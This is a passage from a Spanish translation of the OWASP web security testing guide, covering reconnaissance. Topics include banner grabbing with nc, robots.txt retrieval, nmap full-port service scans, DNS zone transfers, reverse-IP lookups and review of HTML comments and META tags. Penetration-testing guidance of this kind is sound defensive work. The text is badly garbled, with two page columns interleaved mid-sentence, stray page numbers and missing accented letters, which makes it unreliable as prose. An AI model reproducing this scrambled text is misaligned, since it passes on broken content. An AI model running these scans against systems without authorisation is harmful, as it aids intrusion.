Content-Length: 87
Pruebas automatizadas
En lugar de confiar en la posibilidad de atrapar banners manualmente y

analizar los encabezados de servidores web, un evaluador puede utilizar
Respuesta de Netscape Enterprise 4.1 herramientas automatizadas para lograr los mismos resultados. Hay muchas
pruebas que se pueden llevar a cabo para dejar una huella digital precisa en un
$ nc netscape.example.com 80 servidor web. Por suerte, existen herramientas que permiten automatizar estas
pruebas. "httprint" es una de esas herramientas. httprint utiliza un diccionario
GET / JUNK/1.0 de firmas que le permite reconocer el tipo y la versin del servidor web que se
encuentra en uso.
<HTML><HEAD><TITLE>Bad request</TITLE></HEAD>
A continuacin se muestra un ejemplo de httprint en funcionamiento:
<BODY><H1>Bad request</H1>
Your browser sent to query this server could not understand.
Respuesta de SunONE 6.1
$ nc sunone.example.com 80
GET / JUNK/1.0
<HTML><HEAD><TITLE>Bad request</TITLE></HEAD>
<BODY><H1>Bad request</H1>
Herramientas
httprint - net-square.com Pruebas en lnea
httprecon - computec.ch Las herramientas en lnea se pueden utilizar si el evaluador quiere probar ms
sigilosamente y no desea conectarse directamente a la pgina web objetivo.
Netcraft - netcraft.com Un ejemplo de una herramienta en lnea que ofrece a menudo una gran
cantidad de informacin sobre servidores web objetivos es Netcraft. Con esta
45
herramienta podemos recuperar informacin acerca del sistema operativo, Proteja la capa de presentacin del servidor web detrs de un proxy inverso
servidor web utilizado, tiempo de actividad del servidor, propietario Netblock, endurecido.
historial de cambios relacionados con el servidor web y el sistema operativo.
A continuacin se muestra un ejemplo: Ofusque la capa de presentacin de los encabezados del servidor web.
Apache
IIS
Revise los meta archivos del servidor web en

busca de fugas de informacin (OTG-INFO-
003)
Resumen
Esta seccin describe cmo probar el archivo robots.txt en busca de fugas de

informacin de la(s) ruta(s) al directorio de la aplicacin o de la carpeta de la
aplicacin web. Adems, tambin puede crearse la lista de directorios que deben
ser evitados por las araas, robots o rastreadores como una dependencia de
rutas de ejecucin del mapa a travs de la aplicacin (OTG-INFO-007)
Se espera que el proyecto OWASP Unmaskme se convierta en otra
herramienta en lnea para dejar huellas digitales de cualquier sitio web con 1. Fuga de informacin de la ruta o rutas al directorio o carpeta de la aplicacin
una interpretacin global de todos los metadatos web extrados. La idea detrs web.
de este proyecto es que cualquier persona a cargo de un sitio web pueda
probar los metadatos que el sitio muestra al mundo y evaluar desde un punto 2. Crear la lista de directorios que deben ser evitados por las araas, robots o
de vista de seguridad. rastreadores.
Aunque este proyecto est an en desarrollo, usted puede probar el concepto

de esta idea en espaol.
Cmo se prueba
robots.txt
Referencias
Libros Blancos Las araas, robots o rastreadores web recuperan una pgina web y luego,
recursivamente, atraviesan hipervnculos para recuperar otros contenidos web. Su
Saumil Shah: An Introduction to HTTP fingerprinting comportamiento aceptado est especificado por el protocolo de Exclusin de
Robots del archivo robots.txt en el directorio web principal [1]
www.net-square.com
Como ejemplo, el principio del archivo robots.txt de
http://www.google.com/robots.txt probado el 11 de agosto de 2013 se cita a
continuacin:
Anant Shrivastava: Web Application Finger Printing
anantshri.info
Remediacin

46
El archivo robots.txt es recuperado del directorio principal (webroot) del servidor

User-agent: * web. Por ejemplo, para recuperar robots.txt de www.google.com usando wget o
curl:
Disallow: /search
Disallow: /sdch cmlh$ wget http://www.google.com/robots.txt
Disallow: /groups --2013-08-11 14:40:36-- http://www.google.com/robots.txt
Disallow: /images Resolving www.google.com... 74.125.237.17, 74.125.237.18,

74.125.237.19, ...
Disallow: /catalogs
Connecting to www.google.com|74.125.237.17|:80... connected.
HTTP request sent, awaiting response... 200 OK

La directiva de usuario-agente se refiere al web especfico de
araa/robot/rastreador. Por ejemplo, el usuario-agente Googlebot se refiere al robot Length: unspecified [text/plain]
araa de Google mientras " Usuario-Agente: bingbot" [1] se refiere al rastreador de
Microsoft/Yahoo!. User-Agent: * En el ejemplo anterior se aplica a todas las Saving to: robots.txt.
araas/robots/rastreadores web [2] como se cita a continuacin:
User-agent: * [ <=> ] 7,074 --.-K/s in 0s
2013-08-11 14:40:37 (59.7 MB/s) - robots.txt saved [7074]

La directiva Disallow especifica qu recursos estn prohibidos por las
araas/robots/rastreadores. En el ejemplo anterior, estn prohibidos directorios
como los siguientes:
cmlh$ head -n5 robots.txt
... User-agent: *
Disallow: /search Disallow: /search
Disallow: /sdch Disallow: /sdch
Disallow: /groups
Disallow: /images
cmlh$ curl -O http://www.google.com/robots.txt
Disallow: /catalogs
% Total % Received % Xferd Average Speed Time Time
Time Current
Dload Upload Total Spent Left Speed

Las araas, robots o rastreadores web pueden ignorar intencionalmente las
101 7074 0 7074 0 0 9410 0 --:--:-- --:--:-- --:--:-- 27312
directivas Disallow especificadas en un archivo robots.txt [3], tales como las de las
redes sociales [2] para asegurarse de que los vnculos compartidos sean todava
cmlh$ head -n5 robots.txt
vlidos. Por lo tanto, robots.txt no debe considerarse como un mecanismo para
imponer restricciones de cmo el contenido web se debe acceder, almacenar o User-agent: *
volver a publicar por terceros.
Disallow: /search
Disallow: /sdch
robots.txt in el directorio principal con wget o curl
Disallow: /groups
Disallow: /images

47
(https://www.google.com/webmasters/tools). Esta herramienta puede ayudar con

las pruebas y el procedimiento es el siguiente:
1. Inscrbase a Google Webmaster Tools con una cuenta de Google.
2. En el panel de control, escriba la URL del sitio a analizar.
3. Elija entre los mtodos disponibles y siga las instrucciones en la pantalla.
robots.txt in el directorio principal con rockspider
"rockspider" [3] automatiza la creacin de las posibilidades iniciales de

araas/robots/rastreadores de archivos y directorios o carpetas de un sitio web. Etiquetas META
Las etiquetas <META> se encuentran en la seccin HEAD de cada documento

HTML y deben ser coherentes a travs del sitio web en el evento probable de que el
Por ejemplo, para crear las posibilidades iniciales en la directiva autorizada de punto de partida de la araa/robot/rastreador no comience desde un vnculo de
www.google.com usando rockspider[4]: documento fuera del directorio principal (webroot), es decir, un "enlace profundo"
[5].
cmlh$ ./rockspider.pl -www www.google.com

Si no hay una entrada <META NAME=ROBOTS ... > entonces el
Rockspider Alpha v0.1_2

Protocolo de Exclusin de Robots usa la condicin base de INDEX,FOLLOW
respectivamente. Entonces las otras dos entradas vlidas definidas por el Protocolo
de Exclusin de Robots se preestablecen con NO... , es decir, NOINDEX y
Copyright 2013 Christian Heinrich NOFOLLOW.
Licensed under the Apache License, Version 2.0
Las araas/robots/rastreadores web pueden ignorar deliberadamente la etiqueta

<META NAME=ROBOTS ya que se prefiere el acuerdo del archivo
1. Downloading http://www.google.com/robots.txt
robots.txt. Por lo tanto, las <META> etiquetas no deben considerarse el
mecanismo primario, sino ms bien un control complementario a robots.txt.
2. robots.txt saved as www.google.com-robots.txt
3. Sending Allow: URIs of www.google.com to web proxy i.e. <META>Etiquetas - con Burp
127.0.0.1:8080
/catalogs/about sent
Basado en las directivas, de no permitir (Disallow), listadas en el archivo robots.txt
/catalogs/p? sent en el directorio principal, la bsqueda normal de una expresin " <META
name="ROBOTS" dentro de cada pgina web inicia y el resultado se compara
/news/directory sent
al archivo robots.txt en el directorio principal.
...
Por ejemplo, el archivo robots.txt de facebook.com tiene una entrada de "Disallow:

/ac.php" [6] y la consiguiente bsqueda de " <META name="ROBOTS"
Analice robots.txt utilizando las herramientas de Google Webmaster indicada a continuacin
Los propietarios de sitios web pueden utilizar la funcin "Analize robots.txt" de

Google para analizar el sitio web como parte de su "Google Webmaster Tools"

48
Un paso fundamental en las pruebas de vulnerabilidades en aplicaciones web es

averiguar qu aplicaciones particulares estn alojadas en un
servidor web. Muchas aplicaciones tienen vulnerabilidades y estrategias de ataque

conocidas que pueden ser explotadas para obtener el control remoto para explotar
los datos. Adems, muchas aplicaciones se encuentran a menudo mal configuradas
o no estn actualizadas, debido a la percepcin de que slo se utilizan
"internamente" y, por lo tanto, no existe amenaza.
Con la proliferacin de servidores web virtuales, la relacin tipo 1:1-tradicional

entre una direccin IP y un servidor web est perdiendo gran parte de su
Lo anterior podra considerarse un error, puesto que el " INDEX,FOLLOW " es la significado original. No es raro tener varios sitios web o aplicaciones cuyos
etiqueta <META> predeterminada por el "Protocolo de Exclusin de Robots", sin nombres simblicos resulten en la misma direccin IP. Este escenario no se limita a
embargo, "Disallow: /ac.php" aparece en robots.txt. entornos de alojamiento (hosting), sino que tambin se aplica a los entornos
corporativos.
Herramientas
Los profesionales en seguridad a veces reciben un conjunto de direcciones IP como
Buscador (Funcion de Ver Origen) un objetivo de pruebas. Es discutible que este escenario sea parecido a una relacin
de tipo prueba de penetracin, pero, en cualquier caso, se espera que dicha sesin
curl pondra a prueba todas las aplicaciones web accesibles a travs de este objetivo. El
problema es que la direccin IP aloja un servicio HTTP en el puerto 80, pero si un
wget evaluador debe acceder especificando la direccin IP (que es todo lo que sabe)
reportar "Ningn servidor web configurado en esta direccin" o un mensaje
rockspider[7] similar. Pero el sistema puede "ocultar" una serie de aplicaciones web, asociadas a
nombres simblicos, sin relacin del (DNS). Obviamente, el alcance del anlisis se
ve afectado profundamente si el evaluador prueba todas las aplicaciones o slo las
aplicaciones de las que est consciente.
Referencias
Libros Blancos
A veces, la especificacin de destino es ms rica. El evaluador puede recibir una
lista de direcciones IP y sus correspondientes nombres simblicos. Sin embargo,
esta lista podra transmitir informacin parcial, es decir, podra omitir algunos
[1] The Web Robots Pages - http://www.robotstxt.org/ nombres simblicos y el cliente podra ni siquiera estar consciente de aquello (esto
es ms probable que ocurra en las grandes organizaciones).
[2] Block and Remove Pages Using a robots.txt File -
https://support.google.com/webmasters/answer/156449
[3] (ISC)2 Blog: The Attack of the Spiders from the Clouds - Otros temas que afectan el alcance de la evaluacin estn representados por
http://blog.isc2.org/isc2_blog/2008/07/the-attack-of-t.html aplicaciones web publicadas en URLs no evidentes (por ejemplo,
http://www.example.com/some-strange-URL), a las que no se hace referencia en
[4] Telstra customer database exposed - http://www.smh.com.au/it-pro/security- otros lugares. Esto puede suceder por error (debido a configuraciones incorrectas) o
it/telstra-customer-database-exposed-20111209-1on60.html intencionalmente (por ejemplo, interfaces administrativas no publicitadas).
Para abordar estos temas, es necesario realizar un descubrimiento de aplicaciones

Enumere las aplicaciones en el servidor web web.
(OTG-INFO-004)
Resumen Objetivos de la prueba

49
Enumerar las aplicaciones que existen dentro del mbito en un servidor web evaluador sepa explcitamente cmo llegar a ellas, es decir, el evaluador sabe las
url1 y url2 url3. Generalmente no hay necesidad de publicar aplicaciones web de
esta manera, a menos que el propietario no desee que se encuentren accesibles de
una manera estndar y est dispuesto a informar a los usuarios sobre su ubicacin
Cmo probar exacta. Esto no quiere decir que estas aplicaciones son secretas, slo que su
existencia y localizacin no son anunciadas explcitamente.
Pruebas de Caja Negra
El descubrimiento de aplicaciones web es un proceso dirigido a identificar

aplicaciones web en una infraestructura determinada. Este ltimo se suele 2. Puertos no-estndar
especificar como un conjunto de direcciones IP (tal vez un bloque de red), pero
puede consistir de un conjunto de nombres simblicos DNS o una mezcla de los Aunque las aplicaciones web generalmente se ubican en el puerto 80 (http) y 443
dos. Esta informacin se entrega antes de la ejecucin de una evaluacin, ya sea (https), no hay nada mgico acerca de estos nmeros de puertos. De hecho, las
una prueba de penetracin de estilo clsico o una evaluacin enfocada en las aplicaciones web pueden estar asociadas con puertos TCP arbitrarios y pueden ser
aplicaciones. En ambos casos, a menos que las reglas de contratacin especifiquen referenciados especificando el nmero de puerto como a continuacin:
lo contrario (por ejemplo, "prueba slo la aplicacin ubicada en el http[s]://www.example.com:port/. Por ejemplo, http://www.example.com:20000/
http://www.example.com/ enlace"), la evaluacin debe esforzarse por tener el
mayor alcance posible, es decir, debe identificar todas las aplicaciones accesibles a
travs del objetivo dado. En los ejemplos siguientes constan algunas tcnicas que
pueden emplearse para lograr este objetivo. 3. Hospedajes (host) virtuales
Las DNS permiten una direccin IP nica asociada a uno o ms nombres

simblicos. Por ejemplo, la direccin IP 192.168.1.100 podra asociarse a los
Nota: Algunas de las tcnicas siguientes se aplican a servidores de nombres DNS www.example.com, helpdesk.example.com y
webmail.example.com. No es necesario que todos los nombres pertenezcan al
mismo dominio DNS. Esta relacin de 1 a N puede usarse para servir a diferentes
contenidos con los denominados hospedajes (host) virtuales. La informacin que
conexin a internet, es decir, DNS y servicios de bsqueda en la web de IP inversa especifica al host virtual al cual nos estamos refiriendo est incrustada en el
y el uso de motores de bsqueda. Los ejemplos hacen uso de la direcciones IP encabezado HTTP 1.1 [1].
privadas (por ejemplo 192.168.1.100), que, a menos que se indique lo contrario,
representan direcciones IP genricas y son utilizadas solamente con el propsito del
anonimato.
Uno no podra sospechar de la existencia de otras aplicaciones web adicionales a la
obvia www.example.com, a menos que sepan de helpdesk.example.com y
webmail.example.com.
Hay tres factores que influyen en cuantas aplicaciones estn relacionadas con un
determinado nombre DNS (o una direccin IP):
Los enfoques para encarar la situacin 1 - URLs no estndar
1. URL con bases diferentes No hay ninguna manera de comprobar totalmente la existencia de aplicaciones web
sin el nombre estndar. Al ser no estndar, no hay criterios establecidos o
El punto de entrada obvio de una aplicacin web es www.example.com, es decir, convenidos para la nomenclatura, sin embargo, hay una serie de tcnicas que puede
con esta nominacin abreviada pensamos que la aplicacin web se origina en utilizar el evaluador para obtener informacin adicional.
http://www.example.com/ (lo mismo se aplica para https). Sin embargo, a pesar de
que esta es la situacin ms comn, no hay nada que obligue a la aplicacin para
que empiece en "/".
En primer lugar, si el servidor web est mal configurado y permite navegar por el
directorio, es posible detectar estas aplicaciones. Los escneres de vulnerabilidad
pueden ayudar en este sentido.
Por ejemplo, el mismo nombre simblico puede ser asociado a tres aplicaciones
web tales como: http://www.example.com/url1 http://www.example.com/url2
http://www.example.com/url3
En segundo lugar, estas aplicaciones pueden estar referenciadas por otras pginas
En este caso, el enlace http://www.example.com/ no estara asociado con una web y hay la posibilidad de que hayan sido procesadas por un robot araa e
pgina significativa, y las tres aplicaciones estaran "ocultas", a menos que el indexadas por los motores de bsqueda web. Si los evaluadores sospechan de la

50
existencia de este tipo de aplicaciones "ocultas" en www.example.com lo podran De este ejemplo uno puede ver que:
buscar utilizando el operador del sitio web y examinar el resultado de una consulta
para "site: www.example.com". Entre los URLs devueltos podran haber algunos
apuntando a una aplicacin no tan obvia.
Hay un servidor de http Apache corriendo en el puerto 80.
Parece que hay un servidor https en el puerto 443 (pero esto debe ser confirmado,
Otra opcin es sondear URL que podran ser candidatos probables para por ejemplo, visitando https://192.168.1.100 con un navegador)
aplicaciones no publicadas. Por ejemplo, un correo web frontal puede ser accesible
desde la URL https://www.example.com/webmail, https://webmail.example.com/ o En el puerto 901hay una interfaz de web de Samba SWAT.
https://mail.example.com/. Lo mismo se aplica para interfaces administrativas, que
pueden ser publicadas en URL ocultas (por ejemplo, una interfaz administrativa El servicio en Puerto 1241 no es https, pero es el demonio Nessus enlazado al
Tomcat) y, sin embargo, no hacen referencia en ningn lugar. As que haciendo un SSL.
poco de bsqueda de estilo diccionario (o "adivinanza inteligente") podra arrojar
algunos resultados. Los escneres de vulnerabilidad pueden ayudar en este caso. El puerto 3690 ofrece un servicio no especificado (nmap devuelve su huella
digital - aqu ha sido omitida por claridad - junto a las instrucciones para su
incorporacin en la base de datos de huellas dactilares nmap, siempre y cuando
usted sepa qu servicio representa).
Enfoques para solucionar el tema 2 - puertos no estndar
Otro servicio no identificado en el puerto 8000. Esto posiblemente podra ser un
Es fcil comprobar la existencia de aplicaciones web en puertos no estndar. Un http, ya que no es raro encontrar servidores de http en este puerto. Vamos a
escner de puertos como nmap [2] es capaz de realizar el reconocimiento de examinar esta cuestin:
servicio mediante la opcin - sV e identificar los servicios http [s] en puertos
arbitrarios. Lo que se requiere es un anlisis completo de los 64k de espacio del
puerto TCP.
Puertos interesantes en 192.168.1.100:
(Los 65527 puertos escaneados, pero que no se muestran abajo, son los
Por ejemplo, el siguiente comando buscar, con un escaner de coneccin TCP,
que estn en estado cerrado)
todos los puertos abiertos en la IP 192.168.1.100 y tratar de determinar qu
servicios estn atados a ellos (slo se muestran los modificadores esenciales
PORT STATE SERVICE VERSION
nmap ofrece un amplio conjunto de opciones, cuya discusin est fuera de
alcance): 22/tcp open ssh OpenSSH 3.5p1 (protocol 1.99)
80/tcp open http Apache httpd 2.0.40 ((Red Hat Linux))
nmap PN sT sV p0-65535 192.168.1.100 443/tcp open ssl OpenSSL
Esto confirma que en realidad es un servidor HTTP. Alternativamente, los

evaluadores podran haber visitado la URL con un navegador web, o utilizar los
Es suficiente examinar la salida y buscar el http o la indicacin de servicios comandos Perl GET o HEAD que imitan interacciones HTTP como las
enlazados al SSL (que debe ser investigado para confirmar que son https). Por mencionadas anteriormente (sin embargo, las solicitudes HEAD pueden no ser
ejemplo, la salida del comando anterior podra verse as: respetadas por todos los servidores).
Apache Tomcat corriendo en un puerto 8080

901/tcp open http Samba SWAT administration server
1241/tcp open ssl Nessus security scanner

La misma tarea puede realizarse por escneres de vulnerabilidad, pero primero
3690/tcp open unknown compruebe que el escner escogido es capaz de identificar los servicios http[s] que
corren en puertos no estndar. Por ejemplo, Nessus [3] es capaz de identificarlos en
8000/tcp open http-alt? puertos arbitrarios (siempre y cuando sea instruido para escanear todos los puertos)
y proporcionar, en relacin con nmap, una serie de pruebas de vulnerabilidades
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 conocidas de servidores web, as como en la configuracin SSL de servicios https.
Como se indic anteriormente, Nessus tambin es capaz de identificar aplicaciones
51
populares o interfaces web que, de lo contrario, podran pasar desapercibidas (por www.example.com y el no tan obvio helpdesk.example.com y
ejemplo, una interfaz de administracin de Tomcat). webmail.example.com (y probablemente otros). Revise todos los nombres
devueltos por la transferencia de zona y considere a todos aquellos que se
relacionan con el objetivo a ser evaluado.
Enfoques para solucionar el tema 3 - hosts virtuales
Hay una serie de tcnicas que pueden utilizarse para identificar nombres DNS Tratando de solicitar una transferencia de zona para owasp.org desde uno de los
asociados a una direccin IP determinada x.y.z.t. nombres de servidor:
$ host -l www.owasp.org ns1.secure.net
Using domain server:

Transferencias de Zonas DNS
Name: ns1.secure.net
Esta tcnica tiene un uso limitado en la actualidad, dado el hecho de que las
transferencias de zonas, en su mayora, no son respetadas por servidores DNS. Sin Address: 192.220.124.10#53
embargo, puede valer la pena intentarlo. En primer lugar, los evaluadores debern
Aliases:
determinar los servidores de nombres que sirven x.y.z.t. Si se conoce un nombre
simblico para x.y.z.t (sea www.example.com), los nombres de los servidores
pueden ser determinados por medio de herramientas como nslookup, host, o dig,
solicitando registros DNS NS.
Host www.owasp.org not found: 5(REFUSED)
Si no conoce ningn nombre simblico para x.y.z.t, pero la definicin de destino

contiene al menos un nombre simblico, los evaluadores pueden probar aplicando
el mismo proceso y consultar el nombre del servidor de ese nombre (con la Consultas Inversas de DNS
esperanza de que x.y.z.t sea servido tambin por el servidor del mismo nombre).
Por ejemplo, si el objetivo consiste en la direccin IP x.y.z.t y el nombre Este proceso es similar al anterior, pero se basa en registros DNS (PTR) inversos.
mail.example.com, determine los nombres de los servidores para el dominio En lugar de solicitar una transferencia de zona, intente establecer el tipo de registro
example.com. como PTR y emita una consulta en la direccin IP. Si los evaluadores tienen suerte,
pueden recibir de vuelta una entrada con un nombre DNS. Esta tcnica se basa en
la existencia de mapas de nombres IP, smbolos, lo que no est garantizado.
El siguiente ejemplo muestra cmo identificar el nombre de los servidores de

www.owasp.org usando el comando de alojamiento:
Bsquedas DNS basadas en la web
$ host -t ns www.owasp.org
Este tipo de bsqueda es similar a la transferencia de zonas de DNS, pero se basa
en servicios web que permiten bsquedas basadas en el nombre de DNS. Uno de
www.owasp.org is an alias for owasp.org.
estos servicios es el de bsqueda de DNS de Netcraft, disponible en
owasp.org name server ns1.secure.net. http://searchdns.netcraft.com/?host. El evaluador puede consultar una lista de
nombres que pertenecen a su dominio elegido, como example.com. Luego
owasp.org name server ns2.secure.net. comprobarn si los nombres que obtuvieron son pertinentes al objetivo que estn
estudiando.
Servicios de IP inversa
Los servicios de IP inversa son similares a las consultas inversas de DNS, con la
Una transferencia de zona puede solicitarse ahora a los nombres de los servidores diferencia que los evaluadores consultan una aplicacin web en lugar de un nombre
para el dominio example.com. Si el evaluador es afortunado, recibir una lista de de servidor. Hay una cantidad de servicios disponibles. Ya que tienden a devolver
las entradas DNS de este dominio. Esto incluir el obvio resultados parciales (y a menudo diferentes), es mejor utilizar varios servicios para
obtener un anlisis ms exhaustivo.

52
Domain tools reverse IP: domaintools.com
(requires free membership)
MSN search: search.msn.com
(syntax: ip:x.x.x.x (without the quotes)
Webhosting info: whois.webhosting.info
(syntax: http://whois.webhosting.info/x.x.x.x)
Googlear
Siguiendo la informacin recopilada mediante las tcnicas anteriores, los

DNSstuff: dnsstuff.com (multiple services available) evaluadores pueden confiar en los motores de bsqueda y posiblemente refinar e
incrementar su anlisis. Esto podra ceder evidencia de nombres simblicos
adicionales pertenecientes al objetivo o aplicaciones accesibles a travs de URLs
no-obvios.
net-square: net-square.com (multiple queries on domains and IP addresses,
requires installation)
Por ejemplo, teniendo en cuenta el ejemplo anterior sobre www.owasp.org, el

evaluador podra consultar Google y otros motores de bsqueda indagando
tomDNS: tomdns.net
informacin (entindase, los nombres DNS) relacionados con los nuevos
dominios recientemente descubiertos de webgoat.org, webscarab.com y
(some services are still private at the time of writing)
webscarab.net.
SEOlogs.com: seologs.com (reverse-IP/domain lookup)

Las tcnicas para Googlear se explican en pruebas: araas, robots y
rastreadores.
En el ejemplo siguiente se muestra el resultado de una consulta a uno de los

servicios de IP inversa anteriores para 216.48.3.18, la direccin IP de
Pruebas de Caja Gris
www.owasp.org. Tres asignaciones de nombres simblicos no obvios
No son aplicables. La metodologa es igual a la que se describi en las
pruebas de Caja Negra, no importa cunta informacin tiene el evaluador al
inicio.
adicionales a la misma direccin han sido revelados.
Herramientas
Herramientas de bsqueda DNS como nslookup, dig y similares.
Motores de bsqueda (Google, Bing y otros motores de bsqueda

principales).
Servicios especializados relacionados con DNS basado en la web: ver texto.

53
Nmap - insecure.org
...
Nessus Vulnerability Scanner - nessus.org
Nikto - cirt.net
<div class=table2>
<div class=col1>1</div><div class=col2>Mary</div>
Referencias <div class=col1>2</div><div class=col2>Peter</div>
Libros Blancos <div class=col1>3</div><div class=col2>Joe</div>
[1] RFC 2616 Hypertext Transfer Protocol HTTP 1.1

Revise los comentarios sobre el sitio web y los

</div>
metadatos en busca de fugas de informacin
El evaluador puede incluso encontrar algo como esto:
(OTG-INFO-005)
Resumen 
Es muy comn e incluso recomendable para los programadores el incluir
comentarios detallados y metadatos en su cdigo fuente. Sin embargo, los
comentarios y metadatos incluidos en el cdigo HTML podran revelar
Revise la informacin de la versin HTML en busca de nmeros de versin vlidos
y Definicin de Tipo de Datos (DTD) de URLs
informacin interna que no debera estar disponible a atacantes potenciales. Los

comentarios y metadatos deben ser revisados con el fin de determinar si hay fugas <!DOCTYPE HTML PUBLIC -//W3C//DTD HTML 4.01//EN
de informacin. http://www.w3.org/TR/html4/strict.dtd>
Objetivos de la prueba strict.dtd -- default strict DTD
Revise los comentarios y metadatos de la pgina web para entender mejor la loose.dtd -- loose DTD
aplicacin y encontrar cualquier fuga de informacin.
frameset.dtd -- DTD for frameset documents
Cmo probar Los comentarios HTML son utilizados por los desarrolladores para
incluir informacin sobre la depuracin de la aplicacin. A veces se olvidan de los Algunas Metaetiquetas no proveen vectores de ataque activos, sino ms bien
comentarios y se quedan en la produccin. Los evaluadores deben busquar permiten a un atacante hacer un perfil de la aplicacin
comentarios en HTML que comienzan con "".
<META name=Author content=Andrew Muller>
Compruebe el cdigo HTML en busca de comentarios que contengan informacin

sensible que pueda ayudar al atacante a conocer ms de cerca la aplicacin. Algunas Meta etiquetas HTTP modifican los encabezados de respuesta, como http-
Podran ser cdigos SQL, nombres de usuario y contraseas, direcciones IP equiv que establece un encabezado de respuesta HTTP basado en el atributo del
internas o informacin de depuracin. contenido de un meta elemento, tal como:

54
La plataforma para la seleccin de contenido de Internet (PICS) y el protocolo de

<META http-equiv=Expires content=Fri, 21 Dec 2012 12:34:56 recursos de Descripcin Web (POWDER) proporcionan infraestructura para
GMT> asociar metadatos con contenido de Internet.
que resultar en el encabezado HTTP: Pruebas de Caja Gris
Expires: Fri, 21 Dec 2012 12:34:56 GMT

No aplicable.
Y
Herramientas
Wget
<META http-equiv=Cache-Control content=no-cache>
Browser view source function
Eyeballs
Resultar en
Curl
Cache-Control: no-cache
Referencias
Pruebe para ver si esto puede utilizarse para llevar a cabo ataques de inyeccin (por
ejemplo ataques CRLF). Tambin puede ayudar a determinar el nivel de fuga de Libros Blancos
datos a travs de la cach del navegador.
[1] HTML version 4.01: w3.org
Una Meta etiqueta comn (pero no obediente en WCAG) es la actualizacin.
[2] XHTML (for small devices): w3.org
<META http-equiv=Refresh
[3] HTML version 5 : w3.org
content=15;URL=https://www.owasp.org/index.html>
GMT>
Identificar puntos de entrada de la aplicacin

(OTG-INFO-006)
Un uso comn para una Meta etiqueta es especificar palabras clave que un motor
de bsqueda podra usar para mejorar la calidad de los resultados. Resumen
<META name=keywords lang=en-us content=OWASP, security, Enumerar la aplicacin y su superficie de ataque es un precursor clave antes que
sunshine, lollipops> cualquier prueba de fondo puede llevarse a cabo, ya que
GMT>
permite al evaluador identificar probables reas de debilidad. Esta seccin

Aunque la mayora de servidores web administran la indexacin de los motores de
pretende ayudar a identificar y mapear las reas dentro de la aplicacin que
bsqueda mediante el archivo robots.txt, tambin pueden ser gestionados por Meta
deben investigarse una vez que la enumeracin y el mapeo se han completado.
etiquetas. La etiqueta a continuacin recomendar a los robots que no indexen y no
sigan enlaces de la pgina HTML que contienen la etiqueta.
<META name=robots content=none> Objetivos de la prueba

55
Entender cmo se forman las solicitudes y las respuestas tpicas de la aplicacin. Una vez que ha mapeado cada rea de la aplicacin, puede ir a travs de la
aplicacin y probar cada una de las reas que ha identificado y tomar notas de lo
que funcion y lo que no funcion. El resto de esta gua identificar cmo se
prueba cada una de estas reas de inters, pero esta seccin debe realizarse antes
Cmo probar de que la prueba real pueda comenzar.
Antes de cualquier prueba, el evaluador debe tener siempre una buena

comprensin de la aplicacin y de cmo el usuario y el navegador se
comunican con l. Mientras el evaluador recorre a travs de la aplicacin,
debe prestar atencin especial a todas las solicitudes HTTP (mtodos GET y
POST, tambin conocidos como Verbos), as como cada parmetro y campo A continuacin se presentan algunos puntos de inters para todas las solicitudes
de forma que se pasa a la aplicacin. Adems, debe prestar atencin cuando se y respuestas. Dentro de la seccin de peticiones, concntrese en los mtodos
utilizan las solicitudes GET y cuando las solicitudes POST para pasar GET y POST, ya que en stos aparecen la mayora de las solicitudes. Tenga en
parmetros a la aplicacin. Es muy comn que se utilicen las solicitudes GET, cuenta que otros mtodos, como PUT y DELETE, se pueden utilizar. A menudo,
pero cuando se pasa informacin sensible, a menudo se realiza dentro del estas solicitudes ms raras pueden tambin exponer vulnerabilidades. Hay una
cuerpo de una peticin POST. seccin especial en esta gua dedicada a probar estos mtodos HTTP.
Note que para ver los parmetros enviados en una peticin POST, el Solicitudes:
evaluador tendr que utilizar una herramienta como un interceptador de proxy
(por ejemplo, el OWASP: Zed Attack Proxy (ZAP)) o un complemento del
navegador. Dentro de la solicitud POST, el evaluador debe tambin poner
atencin especial a cualquier campo oculto que se est pasando a la Identificar dnde se utilizan peticiones GET y POST.
aplicacin, ya que estos generalmente contienen informacin confidencial,
como informacin sobre el estado, cantidad de artculos o el precio de los Identificar todos los parmetros en las peticiones POST (estos son en el cuerpo
artculos que el desarrollador nunca quiso que usted pudiera ver o cambiar. de la solicitud)
Preste especial atencin a los parmetros ocultos en la peticin POST. Cuando

una peticin POSTes enviada, todos los campos del formulario (incluyendo
En la experiencia del autor, ha sido muy til utilizar un interceptador de proxy parmetros ocultos) se enviarn en el cuerpo del mensaje HTTP a la aplicacin.
y una hoja de clculo para esta etapa de la prueba. El proxy har el Estos normalmente no son vistos a menos que se utilice un proxy o se vea el
seguimiento de cada solicitud y respuesta entre el evaluador y la aplicacin cdigo fuente del HTML. Adems, la pgina siguiente que se muestra, sus datos
mientras l o ella recorre a travs de l. y el nivel de acceso pueden todos ser diferentes dependiendo del valor de los
parmetros ocultos.
Identifique todos los parmetros utilizados en una peticin GET (es decir, la
Adicionalmente, en este punto, el evaluador normalmente atrapa cada URL), en particular la cadena de consulta (generalmente despus de un signo ?).
solicitud y respuesta para que l pueda ver exactamente cada encabezado,
parmetro, etc., que pasa a la aplicacin y lo que devuelve. Esto puede ser Identifique todos los parmetros de la cadena de consulta. Estos generalmente
bastante tedioso a veces, especialmente para sitios grandes e interactivos estn en pares, como foo = bar. Tambin tenga en cuenta que muchos de los
bancaria). Sin embargo, la experiencia le
(piense en una aplicacin parmetros pueden estar en una cadena de consulta separados por un &, ~,:, o
cualquier otro carcter especial o codificacin.
dir al evaluador qu es lo que debe buscar y el tiempo
utilizado durante esta fase puede reducirse significativamente.
Una nota especial cuando se trata de identificar varios parmetros en una

cadena dentro de una solicitud POST es que algunos o todos los parmetros
Mientras el evaluador recorre a travs de la aplicacin, debe tomar nota de todos sern necesarios para ejecutar los ataques. El evaluador debe identificar todos
los parmetros interesantes en la URL, encabezados personalizados o cuerpo de los parmetros (incluso si estn codificados o encriptados) e identificar los que
las peticiones/respuestas y guardarlas en una hoja de clculo. La hoja de clculo son procesados por la aplicacin. Las secciones posteriores de la gua van a
debe incluir la pgina solicitada (sera bueno aadir tambin el nmero de identificar cmo medir estos parmetros. En este punto, slo asegrese de que
solicitud del proxy, para referencias futuras), los parmetros de inters, el tipo de cada uno sea identificado.
solicitud (POST/GET), si el acceso es autenticado/no autenticado, si se usa SSL,
si es parte de un proceso de pasos multiples y otras notas pertinentes. Tambin preste atencin a cualquier encabezado adicional o personalizado que
no sea comn (como debug = False).

56
Respuestas: EJEMPLO 2
En este ejemplo se muestra una solicitud POST que debera conectarle a una
aplicacin.
